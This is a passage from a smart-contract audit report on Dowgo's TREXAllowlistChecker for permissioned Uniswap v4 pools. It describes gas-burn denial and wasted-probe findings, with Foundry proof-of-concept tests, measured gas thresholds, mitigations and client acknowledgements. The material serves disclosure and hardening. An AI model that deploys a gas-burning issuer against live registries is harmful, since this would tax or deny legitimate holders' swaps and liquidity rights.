Impact: For holders who depend on that issuer alone, the denial was already within its power by returning `false` or revoking, and what the unbounded forward adds is the price: near the transaction's full gas limit on every attempt before being turned away, instead of being turned away cheaply.

For holders who also carry a valid claim from a later trusted issuer, it adds denial authority the issuer does not otherwise have. A clean `false` lets the loop run on and the later claim verify; burning the frame stops it being reached. That suppression is a toll rather than a wall, and the threshold is measured below: 831,054 gas is the smallest frame in which the later valid claim is still reached, against 54,918 for the same holder with no burner in the issuer list. A routine swap budget is denied - 500,000 gas still fails - while roughly fifteen times the honest cost gets through. The threshold is under 3% of a 30,000,000-gas block, so no chain limit in view puts the claim out of reach.

That is what separates this from the cross-issuer liquidity finding, which runs inside a fixed 200,000-gas cap and so denies the later issuer outright however much gas the transaction carries. Here the surviving sixty-fourth scales with what is supplied, so the holder is taxed rather than excluded, and an issuer's practical reach extends only to holders who do not know to overprovision. An expensive-but-honest issuer can produce the same denial with no malice at all, though whether it does depends on the gas the transaction supplies and on what the registry's proxy depth and the issuer's own implementation cost to traverse.

No fund loss and no pool stall. But the documented invariant - that issuer failure costs only the liquidity flag - does not hold for the swap right.

Proof of Concept: The registry is the line-for-line port of the vendored `IdentityRegistry` used by the forged-issuer finding, imported rather than restated, so that reproduction's file is needed alongside this one. `GasBombIssuer` is the project's own hardening fixture. The holder answers both derived claim ids - one claim from the burning issuer, one genuinely valid claim from a later trusted issuer - and the test bisects the gas cap to the smallest frame in which the later claim is still evaluated.

Save as `test/DOWGO-pocs/SwapPathGasBurnThreshold.t.sol` and run with:

```
forge test --match-path test/DOWGO-pocs/SwapPathGasBurnThreshold.t.sol -vv
```

which reports:

```
smallest frame that still reaches the later valid claim : 831054
gas cap 300000 -> SWAP_ALLOWED: false
gas cap 500000 -> SWAP_ALLOWED: false
gas cap 1000000 -> SWAP_ALLOWED: true
checkAllowlist gas with no burner in the issuer list : 54918
```

The absolute figure is fixture-dependent and should be read as a lower bound on the real threshold. What the surviving sixty-fourth has to cover here is a mocked `getClaim` and a mocked `isClaimValid`; a real ONCHAINID identity and a real `ClaimIssuer`, which does an `ecrecover` plus key and revocation reads, cost more, and the threshold scales at roughly sixty-four times that residual work. The structural result is the durable one: the threshold is a bounded multiple of the honest cost rather than unbounded, and on these fixtures it sits well inside a single block.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {TREXAllowlistChecker} from "../../src/TREXAllowlistChecker.sol";
import {
    PermissionFlag,
    PermissionFlags
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/libraries/PermissionFlags.sol";

import {GasBombIssuer} from "../TREXAllowlistCheckerHardening.t.sol";
import {
    TopicsRegistry,
    IssuersRegistry,
    ReferenceIdentityRegistry,
    TokenStub,
    SelfAppointedIssuer,
    ScriptedIdentity
} from "./ForgedIdentityPassesSwapGate.t.sol";

//
// What this file measures
//
// The swap-side read forwards all available gas, so a trusted issuer for a REQUIRED topic can burn
// 63/64 of the verification frame. The registry catches that, but continues its loop with the
// surviving sixty-fourth and its next getClaim is unguarded - so a holder's independently valid
// claim from a LATER trusted issuer is not evaluated.
//
// The open question that decides how bad this is: the surviving fraction scales with what the
// transaction supplies, so is the later claim permanently unreachable, or merely expensive? This
// file finds the threshold by bisection and states it against a 30,000,000-gas block.
//
// The registry is the line-for-line port of the vendored IdentityRegistry used by the forged-issuer
// reproduction, imported rather than restated. GasBombIssuer is the project's own fixture. The
// contract under test is the real TREXAllowlistChecker.
//

contract SwapPathGasBurnThresholdTest is Test {
    uint256 internal constant KYC_TOPIC = 1;
    uint256 internal constant LP_TOPIC = 42;
    uint256 internal constant BLOCK_GAS_LIMIT = 30_000_000;

    TopicsRegistry internal topics;
    IssuersRegistry internal issuers;
    ReferenceIdentityRegistry internal registry;
    TREXAllowlistChecker internal checker;
    TokenStub internal token;
```

```
    GasBombIssuer internal burner;
    SelfAppointedIssuer internal honest;

    address internal holder = makeAddr("holder");

    function setUp() public {
        topics = new TopicsRegistry();
        topics.require_(KYC_TOPIC);

        burner = new GasBombIssuer();
        honest = new SelfAppointedIssuer();

        // Order matters: the burner is reached first, the holder's genuinely valid claim second.
        issuers = new IssuersRegistry();
        issuers.trust(address(burner), KYC_TOPIC);
        issuers.trust(address(honest), KYC_TOPIC);

        registry = new ReferenceIdentityRegistry(topics, issuers);
        checker = new TREXAllowlistChecker(LP_TOPIC);
        token = new TokenStub(address(registry));

        // The holder answers both derived claim ids: one claim from the burner, one from the honest
        // issuer. Both carry the required topic, so both are candidates the loop will act on.
        ScriptedIdentity id = new ScriptedIdentity(0, address(0xdead));
        id.script(keccak256(abi.encode(address(burner), KYC_TOPIC)), KYC_TOPIC, address(burner));
        id.script(keccak256(abi.encode(address(honest), KYC_TOPIC)), KYC_TOPIC, address(honest));
        registry.registerIdentity(holder, address(id));
    }

    /// @dev Runs checkAllowlist in a frame of exactly `gasCap`. EIP-150 gives the callee
    ///      min(gasCap, available - available/64), and the test frame's budget is far larger than any
    ///      cap swept here, so the checker receives `gasCap`.
    function _swapAllowedAt(uint256 gasCap) internal view returns (bool) {
        (bool ok, bytes memory ret) = address(checker).staticcall{gas: gasCap}(
            abi.encodeCall(TREXAllowlistChecker.checkAllowlist, (holder, address(token)))
        );
        if (!ok || ret.length != 32) return false;
        PermissionFlag flags = PermissionFlag.wrap(bytes2(abi.decode(ret, (bytes32))));
        return (flags & PermissionFlags.SWAP_ALLOWED) == PermissionFlags.SWAP_ALLOWED;
    }

    /// @notice The measurement. Bisects the gas cap to the smallest frame in which the holder's
    ///         later, valid claim is still reached, then reports it against a full block.
    function test_PoC_MeasureGasThresholdAtWhichTheLaterClaimSurvivesTheBurn() public view {
        // Bracket the threshold by doubling.
        uint256 hi = 250_000;
        while (hi < 2_000_000_000 && !_swapAllowedAt(hi)) {
            hi *= 2;
        }
        require(_swapAllowedAt(hi), "no cap up to 2e9 gas reaches the later claim");

        uint256 lo = hi / 2;
        while (hi - lo > 1_000) {
            uint256 mid = (lo + hi) / 2;
            if (_swapAllowedAt(mid)) hi = mid;
            else lo = mid;
        }

        console2.log("smallest frame that still reaches the later valid claim :", hi);
        console2.log("as a multiple of a 30M block                           :", (hi * 100) /
        ↪  BLOCK_GAS_LIMIT);
        console2.log("(units above are hundredths, so 100 == one full block)");
    }
```

```
    /// @notice The consequence at gas limits an ordinary swap is sent with.
    function test_PoC_OrdinaryGasLimitsDoNotReachTheLaterClaim() public view {
        uint256[5] memory caps = [uint256(300_000), 500_000, 1_000_000, 2_000_000, 5_000_000];
        for (uint256 i = 0; i < caps.length; i++) {
            console2.log("gas cap", caps[i], "-> SWAP_ALLOWED:", _swapAllowedAt(caps[i]));
        }
        assertFalse(_swapAllowedAt(500_000), "a routine swap budget does not reach the later claim");
    }

    /// @notice Control. With the burner removed the same holder verifies cheaply, so the threshold
    ///         above is the burn and not the cost of the loop itself.
    function test_PoC_WithoutTheBurnerTheSameHolderVerifiesCheaply() public {
        IssuersRegistry clean = new IssuersRegistry();
        clean.trust(address(honest), KYC_TOPIC);
        ReferenceIdentityRegistry cleanRegistry = new ReferenceIdentityRegistry(topics, clean);
        TokenStub cleanToken = new TokenStub(address(cleanRegistry));

        ScriptedIdentity id = new ScriptedIdentity(0, address(0xdead));
        id.script(keccak256(abi.encode(address(honest), KYC_TOPIC)), KYC_TOPIC, address(honest));
        cleanRegistry.registerIdentity(holder, address(id));

        uint256 before = gasleft();
        PermissionFlag flags = checker.checkAllowlist(holder, address(cleanToken));
        uint256 used = before - gasleft();

        assertTrue(
            (flags & PermissionFlags.SWAP_ALLOWED) == PermissionFlags.SWAP_ALLOWED, "verifies without
            ↪  the burner"
        );
        console2.log("checkAllowlist gas with no burner in the issuer list :", used);
    }
}
```

Recommended Mitigation: A gas stipend on the swap-side read, exposed as a constructor parameter so deep-proxy deployments can size it, bounds what the burn costs the transaction. One checker can serve several tokens, so a constructor-level stipend has to accommodate the deepest registry any of them uses, or the deployment has to run a checker per token. It does not remove the denial: a burning or merely expensive registry still returns no usable word within the stipend, and the checker still resolves to `NONE`. Sized too low it denies swaps to holders of a healthy but deep registry - a new fault in the same direction. Weigh it against the deliberate deep-proxy trade-off the code already records.

The mechanism lives upstream, and even there the remedy is partial. Isolating each issuer inside the registry's verification loop bounds the cost and preserves the other issuers' turn, but a holder whose only claim for that topic comes from the burning issuer still fails verification - there is no other candidate for the loop to reach. Restoring swaps for that population is an issuer-replacement or policy decision, not a code change in either contract.

On the checker's side the actionable item is documentation: the `README.md` blast-radius statement is not true of the vendored registry.

Dowgo: Acknowledged; added docs in commit b0f34ba.

7.2.2 `TREXAllowlistChecker::checkAllowlist` runs the full LP probe on the swap path and discards the result, an observed upper-bound delta of ~182k gas per `beforeSwap`

Description: `TREXAllowlistChecker::checkAllowlist` sets `SWAP_ALLOWED` and then runs `probeLpClaim` unconditionally, whatever permission the caller asked for. It cannot do otherwise: the upstream `IAllowlistChecker` interface carries no permission argument, and `PermissionsAdapter::isAllowed` applies its mask only after the call returns. `PermissionedHooks::_isAllowed` asks for `SWAP_ALLOWED` on the swap selector and never reads the liquidity bit, so on every swap the probe's entire result - the self-staticcall frame, `identity`, `issuersRegistry`, `getTrustedIssuersForClaimTopic`, a `getClaim` per issuer the scan reaches and an `isClaimValid` into the matching

issuer - is computed and thrown away.

The loop returns on the first valid claim, so an LP walks only as far as its own issuer, while a trader holding no LP claim - the ordinary swap case - walks the whole list.

Measured through the real `PermissionsAdapterFactory`, `PermissionsAdapter` and `PermissionedHooks`, against the real OnchainID `Identity` and `ClaimIssuer` runtime with mocked registries and a lightweight ERC20, with seven honest issuers and no hostile party: `beforeSwap` costs 248,907 gas with the probe running and 66,758 with it short-circuited. That is an observed delta of 182,149 gas per call. It upper-bounds the incremental LP-probe cost rather than measuring it exactly: the comparison is cold-first against warm-second, so it carries cold/warm skew from the surrounding hook path as well as the probe's own work. The remaining qualifications are in the impact below.

Two qualifications on the delta. The 248,907 is a first `beforeSwap` against cold factory, adapter, checker and registry state, while the 66,758 baseline is a second call on warm state, so the delta carries cold-access cost and the resulting 73% share is an upper bound. And the baseline is reached by unsetting the trader's OnchainID - a state a real `IdentityRegistry` cannot present, since it returns false without an identity.

The cost also repeats within one transaction. `PermissionedV4Router::_pay` asks for `SWAP_ALLOWED` on the settle path, but only when the currency being paid is the permissioned adapter, so a swap that pays the permissioned currency carries at least two probes while one that merely buys it carries one. `_verifyAllowlist` then asks once per permissioned pool currency, and a pool may legally pair two permissioned adapters.

The NatSpec frames the budget as capping what a hostile identity or issuer can burn on the swap hot path. That cap is real, but per-call rather than per-transaction, and no hostile party is involved here - this is seven honest issuers serving an honest trader. The hardening suite's 400,000-gas ceiling is asserted only against a single direct `checkAllowlist` call, never the hook path and never with two permissioned currencies.

Impact: The probe runs on every swap, its result is discarded, and its cost grows with the trusted-issuer count for a topic the swap decision does not depend on - up to the index of the account's own claim, or across the whole list for the swappers who hold none. The measured 3.7x ratio is an upper bound rather than a same-state per-call cost, for the two reasons above and for a third: the benchmarked account holds a valid LP claim from the LAST trusted issuer, so the probe scans the entire list and then pays for an `isClaimValid` call at the end of it. A swapper holding no LP claim scans the same list but never reaches `isClaimValid`, and costs less. Read 182,149 as a benchmark-specific ceiling, not a representative per-swap overhead.

The cost is borne by the transacting user, so this is efficiency and hot-path fragility rather than loss: no funds are at risk and no permission is wrongly granted or withheld by this mechanism. It compounds the fixed-budget finding, since the same unread probe is what exhausts that budget.

Proof of Concept: `SwapPathDiscardedProbeTest` wires a permissioned pool through the real factory, adapter and hook with seven honest issuers and a verified trader who holds a valid LP claim from the last issuer in the list - the worst case for the probe, and the reason the delta is a ceiling. It drives `beforeSwap` and records 248,907 gas, then repeats with the trader's OnchainID unset so the probe short-circuits and records 66,758. The 182,149-gas difference upper-bounds the cost of resolving `LIQUIDITY_ALLOWED`, which `_isAllowed` discards on the swap selector; part of it is base-path warming rather than probe work.

Save as `test/DOWGO-pocs/LpProbeGasBudget.t.sol`. The file also carries the fixed-budget finding's tests, so run this finding's test on its own:

```
forge test --match-path test/DOWGO-pocs/LpProbeGasBudget.t.sol \
  --match-test test_swapPathPaysForDiscardedLpProbe -vv
```

which reports:

```
beforeSwap gas, LP probe runs : 248907
beforeSwap gas, probe no-op   : 66758
wasted on discarded LP probe  : 182149
```

It imports `test/DOWGO-pocs/OidBytecode.sol`, a small library holding the creation bytecode of the real OnchainID `Identity` and `ClaimIssuer`. Those sources pin `pragma solidity 0.8.17` and cannot compile under this project's 0.8.26, which is why compiled bytecode is used rather than the sources. The two blobs run to roughly 48KB, so

the file is not reproduced in full here - build it with the shape below, pasting in your own compiler output. Its header carries the exact regeneration steps:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

/// @notice Creation bytecode of the REAL OnchainID Identity / ClaimIssuer contracts,
///         compiled from external-dependencies/onchain-id with solc 0.8.17 (optimizer, 200 runs,
///         evm_version = london). Embedded because those sources pin `pragma solidity 0.8.17`
///         and cannot compile under this project's pinned 0.8.26.
///
///         London, not cancun: solc gained Paris in 0.8.18 and Cancun in 0.8.24, so 0.8.17's newest
///         target is London. Foundry accepts evm_version = "cancun" here and silently clamps, which
///         records london in the compiler metadata regardless - naming it explicitly is what makes
///         the regeneration below reproducible across Foundry versions.
///
///         Regenerate with:
///           mkdir -p /tmp/oid/src && cp -R external-dependencies/onchain-id/contracts/* /tmp/oid/src/
///           rm -rf /tmp/oid/src/{gateway,proxy,verifiers,factory,_testContracts,Test.sol}
///           # /tmp/oid/foundry.toml: src="src" out="out" solc_version="0.8.17" evm_version="london"
///           #                        optimizer=true optimizer_runs=200
///           cd /tmp/oid && forge build
///         then take .bytecode.object from out/Identity.sol/Identity.json and
///         out/ClaimIssuer.sol/ClaimIssuer.json.
library OidBytecode {
    /// @dev Identity.sol:Identity -- constructor args must be appended by the caller.
    function identityCreation() internal pure returns (bytes memory) {
        return hex"<paste .bytecode.object here, 0x stripped>";
    }

    /// @dev ClaimIssuer.sol:ClaimIssuer -- constructor args must be appended by the caller.
    function claimissuerCreation() internal pure returns (bytes memory) {
        return hex"<paste .bytecode.object here, 0x stripped>";
    }

}
```

The harness is the same one the fixed-budget finding uses, reproduced here so this issue stands on its own:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

// PoCs for two TREXAllowlistChecker findings, measured against the REAL OnchainID
// Identity / ClaimIssuer runtime (solc 0.8.17 artifacts embedded in OidBytecode.sol),
// not against simplified mocks:
//
//   1. test_swapPathPaysForDiscardedLpProbe
//      beforeSwap only consults SWAP_ALLOWED (PermissionedHooks._isAllowed:143-149) yet
//      checkAllowlist always runs probeLpClaim -> ~182k gas burned per call for a result
//      the hook discards. Runs twice on a swap that pays the permissioned currency
//      (PermissionedV4Router._pay:36 + the hook), once on one that only buys it.
//
//   2. test_gasPerIssuer / test_probeFrameCostOnly / test_positionInIssuerArrayDecidesOutcome
//      LP_PROBE_GAS = 200_000 is exceeded at 8 trusted issuers (19,745 gas/issuer), silently
//      stripping LIQUIDITY_ALLOWED from LPs holding a valid, non-revoked claim. Outcome also
//      depends on the claim issuer's INDEX in getTrustedIssuersForClaimTopic(), which
//      updateIssuerClaimTopics mutates by re-pushing the issuer to the end of the array.

import {Test, console2} from "forge-std/Test.sol";
import {TREXAllowlistChecker} from "../../src/TREXAllowlistChecker.sol";
import {
    PermissionFlag,
    PermissionFlags
```

```
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/libraries/PermissionFlags.sol";
import {OidBytecode} from "./OidBytecode.sol";

import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {SwapParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PermissionsAdapter} from
↪  "@uniswap/v4-periphery/src/hooks/permissionedPools/PermissionsAdapter.sol";
import {
    PermissionsAdapterFactory
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/PermissionsAdapterFactory.sol";
import {PermissionedHooks} from
↪  "@uniswap/v4-periphery/src/hooks/permissionedPools/PermissionedHooks.sol";
import {
    IPermissionsAdapterFactory
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/interfaces/IPermissionsAdapterFactory.sol";
import {HookMiner} from "@uniswap/v4-periphery/src/utils/HookMiner.sol";

interface IId {
    function addKey(bytes32 k, uint256 p, uint256 t) external returns (bool);
    function addClaim(
        uint256 topic,
        uint256 scheme,
        address issuer,
        bytes memory sig,
        bytes memory data,
        string memory uri
    ) external returns (bytes32);
}

contract MockTIR {
    mapping(uint256 => address[]) private byTopic;

    function add(uint256 topic, address issuer) external {
        byTopic[topic].push(issuer);
    }

    function getTrustedIssuersForClaimTopic(uint256 topic) external view returns (address[] memory) {
        return byTopic[topic];
    }
}

contract MockIR {
    mapping(address => bool) public verified;
    mapping(address => address) public identityOf;
    address public issuersRegistry;

    function set(address u, bool v, address id) external {
        verified[u] = v;
        identityOf[u] = id;
    }

    function setIR(address r) external {
        issuersRegistry = r;
    }

    function isVerified(address u) external view returns (bool) {
```

```
        return verified[u];
    }

    function identity(address u) external view returns (address) {
        return identityOf[u];
    }
}

contract MockToken {
    address public identityRegistry;

    constructor(address r) {
        identityRegistry = r;
    }
}

contract TokenLite is ERC20 {
    address public immutable identityRegistry;

    constructor(address r) ERC20("T", "T") {
        identityRegistry = r;
    }

    function mint(address to, uint256 a) external {
        _mint(to, a);
    }
}

contract PlainERC20 is ERC20 {
    constructor() ERC20("P", "P") {
        _mint(msg.sender, 1e24);
    }
}

contract Router {
    address public s;

    function set(address a) external {
        s = a;
    }

    function msgSender() external view returns (address) {
        return s;
    }
}

//
// 1. How probe gas scales with the number of trusted issuers for LP_CLAIM_TOPIC.
//

contract LpProbeGasBudgetTest is Test {
    uint256 constant LP_TOPIC = 42;

    TREXAllowlistChecker checker;
    MockIR ir;
    MockTIR tir;
    MockToken token;
    address alice;
    address aliceId;

    function _create(bytes memory init) internal returns (address a) {
        assembly {
            a := create(0, add(init, 0x20), mload(init))
```

```
        }
        require(a != address(0), "deploy failed");
    }

    function setUp() public {
        alice = makeAddr("alice");
        checker = new TREXAllowlistChecker(LP_TOPIC);
        ir = new MockIR();
        tir = new MockTIR();
        ir.setIR(address(tir));
        token = new MockToken(address(ir));
        aliceId = _create(abi.encodePacked(OidBytecode.identityCreation(), abi.encode(alice, false)));
        ir.set(alice, true, aliceId);
    }

    /// @dev Registers `n` real ClaimIssuers; alice's valid LP claim comes from the LAST one.
    function _setupIssuers(uint256 n) internal {
        _setupIssuersAt(n, n - 1);
    }

    function _setupIssuersAt(uint256 n, uint256 claimIdx) internal {
        for (uint256 i = 0; i < n; i++) {
            (address signer, uint256 pk) = makeAddrAndKey(string(abi.encodePacked("issuer",
            ↪  vm.toString(i))));
            address issuer = _create(abi.encodePacked(OidBytecode.claimissuerCreation(),
            ↪  abi.encode(signer)));
            tir.add(LP_TOPIC, issuer);

            if (i == claimIdx) {
                bytes memory data = hex"c0ffee";
                bytes32 dataHash = keccak256(abi.encode(aliceId, LP_TOPIC, data));
                bytes32 prefixed = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
                ↪  dataHash));
                (uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, prefixed);
                vm.prank(alice);
                IId(aliceId).addClaim(LP_TOPIC, 1, issuer, abi.encodePacked(r, s, v), data, "");
            }
        }
    }

    function test_gasPerIssuer() public {
        for (uint256 n = 1; n <= 12; n++) {
            setUp();
            _setupIssuers(n);

            uint256 g0 = gasleft();
            PermissionFlag f = checker.checkAllowlist(alice, address(token));
            uint256 used = g0 - gasleft();

            bool lp = (f & PermissionFlags.LIQUIDITY_ALLOWED) == PermissionFlags.LIQUIDITY_ALLOWED;
            console2.log("issuers", n, "gas", used);
            console2.log("   LIQUIDITY_ALLOWED:", lp);

            // The flip: the claim is valid and last-indexed throughout, so only the budget moves
            assertEq(lp, n <= 7, "liquidity must be granted up to seven issuers and denied from eight");
        }
    }

    /// @dev Isolate the probe frame itself from checkAllowlist's fixed overhead. Also shows the
    ///      off-chain diagnostic diverging from the enforced outcome: the uncapped direct call
    ///      returns true at N=8 while checkAllowlist denies.
    function test_probeFrameCostOnly() public {
        for (uint256 n = 6; n <= 9; n++) {
```

```
            setUp();
            _setupIssuers(n);
            uint256 g0 = gasleft();
            bool r = checker.probeLpClaim(address(ir), alice);
            uint256 probeGas = g0 - gasleft();

            g0 = gasleft();
            PermissionFlag f = checker.checkAllowlist(alice, address(token));
            uint256 total = g0 - gasleft();

            bool lp = (f & PermissionFlags.LIQUIDITY_ALLOWED) == PermissionFlags.LIQUIDITY_ALLOWED;
            console2.log("issuers", n, "probeLpClaim gas (uncapped)", probeGas);
            console2.log("   probe returns:", r);
            console2.log("   checkAllowlist total gas:", total);
            console2.log("   LIQ granted:", lp);

            // Uncapped, the scan always completes and finds the claim valid
            assertTrue(r, "the uncapped probe always finds the claim valid");
            // Capped at LP_PROBE_GAS it does not, and the two answers diverge from eight issuers
            assertEq(lp, probeGas <= 200_000, "the enforced outcome follows the 200,000 budget, not
            ↪  validity");
            assertEq(r && !lp, n >= 8, "diagnostic and enforced outcome disagree from eight issuers");
        }
    }

    /// @dev Same LP, same valid claim, same registry -- only the issuer's INDEX in
    ///      getTrustedIssuersForClaimTopic() differs.
    function test_positionInIssuerArrayDecidesOutcome() public {
        uint256 n = 20;
        uint256[3] memory idxs = [uint256(0), 6, 19];
        for (uint256 t = 0; t < 3; t++) {
            setUp();
            _setupIssuersAt(n, idxs[t]);
            PermissionFlag f = checker.checkAllowlist(alice, address(token));
            bool lp = (f & PermissionFlags.LIQUIDITY_ALLOWED) == PermissionFlags.LIQUIDITY_ALLOWED;
            console2.log("20 issuers, valid claim from index", idxs[t]);
            console2.log("   LIQUIDITY_ALLOWED:", lp);

            // Same claim, same validity, same registry size - only the index differs
            assertEq(lp, idxs[t] == 0, "only a low-index claim survives a twenty-issuer topic");
        }
    }
}

//
// 2. What the hook actually pays for on the swap path.
//

contract SwapPathDiscardedProbeTest is Test {
    uint256 constant LP_TOPIC = 42;

    PoolManager pm;
    TREXAllowlistChecker checker;
    MockIR ir;
    MockTIR tir;
    TokenLite token;
    PermissionsAdapterFactory factory;
    PermissionsAdapter adapter;
    PermissionedHooks hook;
    Router router;
    address payment;

    address alice;
```

```
    address aliceId;

    function _create(bytes memory init) internal returns (address a) {
        assembly {
            a := create(0, add(init, 0x20), mload(init))
        }
        require(a != address(0), "deploy failed");
    }

    function setUp() public {
        alice = makeAddr("alice");
        pm = new PoolManager(address(this));
        ir = new MockIR();
        tir = new MockTIR();
        ir.setIR(address(tir));
        token = new TokenLite(address(ir));
        token.mint(address(this), 1e24);
        checker = new TREXAllowlistChecker(LP_TOPIC);

        factory = new PermissionsAdapterFactory(address(pm));
        adapter = PermissionsAdapter(factory.createPermissionsAdapter(IERC20(address(token)),
        ↪  address(this), checker));
        token.transfer(address(adapter), 1);
        factory.verifyPermissionsAdapter(address(adapter));
        adapter.updateSwappingEnabled(true);

        router = new Router();
        router.set(alice);
        adapter.updateAllowedWrapper(address(router), true);

        bytes memory cc = type(PermissionedHooks).creationCode;
        bytes memory args = abi.encode(IPoolManager(address(pm)),
        ↪  IPermissionsAdapterFactory(address(factory)));
        uint160 flags = uint160(
            Hooks.BEFORE_INITIALIZE_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.BEFORE_SWAP_FLAG
                | Hooks.AFTER_SWAP_FLAG
        );
        (address hookAddr, bytes32 salt) = HookMiner.find(address(this), flags, cc, args);
        hook =
            new PermissionedHooks{salt: salt}(IPoolManager(address(pm)),
            ↪  IPermissionsAdapterFactory(address(factory)));
        require(address(hook) == hookAddr, "hook mismatch");

        payment = address(new PlainERC20());

        aliceId = _create(abi.encodePacked(OidBytecode.identityCreation(), abi.encode(alice, false)));
        ir.set(alice, true, aliceId);
    }

    function _key() internal view returns (PoolKey memory k) {
        (address c0, address c1) =
            address(adapter) < payment ? (address(adapter), payment) : (payment, address(adapter));
        k = PoolKey({
            currency0: Currency.wrap(c0),
            currency1: Currency.wrap(c1),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
    }

    function _addIssuers(uint256 n) internal {
        for (uint256 i = 0; i < n; i++) {
```

```
        (address signer, uint256 pk) = makeAddrAndKey(string(abi.encodePacked("iss",
        ↪  vm.toString(i))));
        address issuer = _create(abi.encodePacked(OidBytecode.claimissuerCreation(),
        ↪  abi.encode(signer)));
        tir.add(LP_TOPIC, issuer);
        if (i == n - 1) {
            bytes memory data = hex"c0ffee";
            bytes32 dh = keccak256(abi.encode(aliceId, LP_TOPIC, data));
            bytes32 ph = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dh));
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, ph);
            vm.prank(alice);
            IId(aliceId).addClaim(LP_TOPIC, 1, issuer, abi.encodePacked(r, s, v), data, "");
        }
    }
}

/// @dev beforeSwap only consults SWAP_ALLOWED, yet checkAllowlist always runs the LP probe.
function test_swapPathPaysForDiscardedLpProbe() public {
    _addIssuers(7);
    PoolKey memory k = _key();
    SwapParams memory p = SwapParams({zeroForOne: true, amountSpecified: -1e6, sqrtPriceLimitX96:
    ↪  4295128740});

    vm.prank(address(pm));
    uint256 g0 = gasleft();
    hook.beforeSwap(address(router), k, p, "");
    uint256 withProbe = g0 - gasleft();

    // Same user, but no OnchainID bound -> probe short-circuits immediately.
    ir.set(alice, true, address(0));
    vm.prank(address(pm));
    g0 = gasleft();
    hook.beforeSwap(address(router), k, p, "");
    uint256 withoutProbe = g0 - gasleft();

    console2.log("beforeSwap gas, LP probe runs :", withProbe);
    console2.log("beforeSwap gas, probe no-op   :", withoutProbe);
    console2.log("wasted on discarded LP probe  :", withProbe - withoutProbe);

    // beforeSwap reads only SWAP_ALLOWED, so everything the probe cost is discarded
    assertGt(withProbe - withoutProbe, 150_000, "the discarded probe dominates the swap gate");
}

/// @dev The LP flag is a function of gas available at the call site, not of on-chain
///      permission state. Note the hook path forwards full gas, so this is self-inflicted
///      only -- included to document the fail-closed direction (SWAP survives, LIQ drops).
function test_lpFlagIsGasDependent() public {
    _addIssuers(7);
    for (uint256 g = 260_000; g >= 100_000; g -= 20_000) {
        (bool ok, bytes memory ret) = address(checker).staticcall{gas: g}(
            abi.encodeCall(TREXAllowlistChecker.checkAllowlist, (alice, address(token)))
        );
        if (!ok) {
            console2.log("gas", g, "-> outer call reverted");
            continue;
        }
        PermissionFlag f = abi.decode(ret, (PermissionFlag));
        console2.log("gas", g);
        console2.log("   SWAP:", (f & PermissionFlags.SWAP_ALLOWED) ==
        ↪  PermissionFlags.SWAP_ALLOWED);
        console2.log("   LIQ :", (f & PermissionFlags.LIQUIDITY_ALLOWED) ==
        ↪  PermissionFlags.LIQUIDITY_ALLOWED);
    }
```

```
    }
}
```

Recommended Mitigation: Resolve only the permission that was asked for. The clean fix is upstream: extend `IAllowlistChecker::checkAllowlist` with the requested `PermissionFlag` so `PermissionsAdapter::isAllowed` can pass it down and the checker can skip the probe when only `SWAP_ALLOWED` is being resolved.

There is no checker-only version. The adapter calls `checkAllowlist(account, tokenAddress)` and nothing else, so a swap-only entrypoint added beside it would sit unused until the adapter is changed to call it - the fix has to reach the interface either way. Once that change is made, passing the requested flag is safe rather than unauthenticated: the adapter both supplies the flag and afterwards masks against the same one, and a direct permissionless call to a `view` checker authorizes nothing whatever it passes.

Until then, record the per-swap cost and its dependence on the trusted-issuer count in `README.md`, since the current NatSpec frames the 200,000-gas cap as a bound on hostile behaviour rather than a cost every ordinary swap pays.

Dowgo: Acknowledged; added docs in commit c43ee00.

7.2.3 An issuer that burns gas instead of reverting aborts the entire claim scan, destroying an honest issuer's independently valid claim

Description: The per-issuer `try` around `ITREXClaimIssuer::isClaimValid` carries the comment "A broken or hostile issuer must not deny the remaining trusted issuers their turn". That holds for an issuer that reverts, and fails for one that consumes gas.

The call carries no `{gas: ...}` modifier, so under EIP-150 a single issuer receives 63/64 of the probe's entire remaining budget. Its out-of-gas is caught and the loop does resume - but with roughly one sixty-fourth of what remained when the burner was called. The next statement to leave the frame is `ITREXIdentity::getClaim`, a bare external call inside no `try`, so its out-of-gas propagates and reverts the whole probe. The outer `catch` then downgrades the account to `SWAP_ALLOWED` alone.

A trace of the two-issuer case, with the burner at index zero and the victim's honest claim at index one, shows the abort landing on the unguarded `getClaim` rather than on the guarded `isClaimValid`: the burner is handed about 162,430 gas and runs out, the catch resumes with about 2,580, and by the time the loop reaches `getClaim` about 2,100 remains, which that call exhausts. The share the burner takes is 63/64 of whatever remained when it was called, not of the 200,000 budget.

The binding guard means a hostile issuer is only reached for accounts holding a claim record keyed to it - satisfiable without the victim being careless, by an LP legitimately holding attestations from two issuers of the same topic, one later upgraded or toggled into misbehaviour. Installing the record is gated only by `addClaim`'s `onlyClaimKey`; the write-time validity check beside it imposes nothing here, because the issuer named in the record is the hostile issuer itself and the check calls that issuer's own `isClaimValid`.

